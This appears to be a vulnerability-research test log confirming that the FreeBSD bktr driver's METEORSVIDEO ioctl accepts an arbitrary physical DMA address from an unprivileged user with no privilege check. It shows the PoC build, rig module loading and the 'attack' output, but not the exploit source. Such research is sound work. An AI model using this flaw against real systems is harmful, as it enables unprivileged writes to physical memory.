===== DF-1215 decisive run (guest, stock kernel #0, 2026-10-11) =====
--- [1] hardware path: original PoC (expected ENOENT: QEMU has no bt848 PCI) ---
poc_rig.c: In function 'main':
poc_rig.c:59:2: warning: '__builtin_memset' writing 170 bytes into a region of size 32 overflows the destination [-Wstringop-overflow=]
  bzero(&g, 0xAA);
  ^~~~~~~~~~~~~~~
BUILD_OK
open /dev/bktr0: No such file or directory
RC=1

--- [2] rig load: production UNFIXED bktr.ko auto-loaded via MODULE_DEPEND ---
KLDLOAD_OK
crw-rw-rw-  1 root  wheel   32, 0x00000000 Oct 11 21:49 /dev/bktrig0
 2    1 0xffffffff81cd9000    7c288 ehci.ko
 3    1 0xffffffff81d56000    8c778 xhci.ko
 4    1 0xffffffff82600000     1000 bktrig.ko
 5    1 0xffffffff82601000    c0000 bktr.ko
 6    1 0xffffffff826c1000     a000 bktr_mem.ko
bktr_mem: memory holder loaded
bktrig: DF-1215 rig ready /dev/bktrig0 sc=0xfffff80118799f00 (video_ioctl=0xffffffff82606190)

--- [3] THE ATTACK: production METEORSVIDEO as uid=1001 (baseline) ---
BUILD_OK
uid=1001 euid=1001
METEORSVIDEO addr=0x100000 -> rc=0 errno=0 (Undefined error: 0)
METEORGVIDEO readback -> rc=0 addr=0x100000 width=2560
METEORSVIDEO addr=0 (kernel buffer mode) -> rc=0 errno=0 (Undefined error: 0)
RC=0
uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)

RESULT: production video_ioctl (bktr_core.c:1396) ACCEPTED arbitrary physical
DMA target 0x100000 from uid=1001 with NO privilege check; METEORGVIDEO confirms
it stored as the RISC-builder input (bktr_core.c:2670/2841/2996/3114/3215).
DMA sink itself is hardware (bt848 bus master) and cannot fire on this guest.